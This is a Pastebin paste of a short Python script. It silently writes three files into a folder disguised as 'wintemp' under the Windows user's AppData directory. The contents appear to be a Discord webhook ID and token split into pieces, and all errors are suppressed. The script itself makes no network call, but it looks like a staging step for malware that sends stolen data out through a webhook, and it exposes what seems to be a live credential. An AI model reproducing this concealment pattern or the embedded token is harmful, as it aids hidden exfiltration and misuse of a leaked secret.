Advertisement
TerraMine

t4

Jun 4th, 2025
12
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. import os
  2. import traceback
  3.  
  4. def create_webhook_data_files():
  5. try:
  6. local_app_data = os.getenv('LOCALAPPDATA')
  7. if not local_app_data:
  8. user_profile = os.getenv('USERPROFILE')
  9. if not user_profile:
  10. return
  11. program_base_dir = os.path.join(user_profile, 'AppData', 'Local', 'wintemp')
  12. else:
  13. program_base_dir = os.path.join(local_app_data, 'wintemp')
  14.  
  15. files_target_subdir = os.path.join(program_base_dir, 'files')
  16.  
  17. try:
  18. os.makedirs(files_target_subdir, exist_ok=True)
  19. except OSError as e:
  20. return
  21.  
  22. f1_content = "1379130852658905108"
  23. f2_content = "30k6C2E"
  24. f3_content = "DvGxr9OUF14di1geJfM4iN1OK3EJaYw9Y5DZ1AnSzJJb_4kqpwGn_TEBOXszy"
  25.  
  26. files_to_create = [
  27. ("1", f1_content),
  28. ("2", f2_content),
  29. ("3", f3_content)
  30. ]
  31.  
  32. for filename_str, content_to_write in files_to_create:
  33. full_file_path = os.path.join(files_target_subdir, filename_str)
  34.  
  35. try:
  36. with open(full_file_path, 'w', encoding='utf-8') as f:
  37. f.write(content_to_write)
  38. except IOError as e:
  39. pass
  40. except Exception as e_general:
  41. pass
  42.  
  43. except Exception as e_main_creator:
  44. pass
  45.  
  46. if __name__ == "__main__":
  47. create_webhook_data_files()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement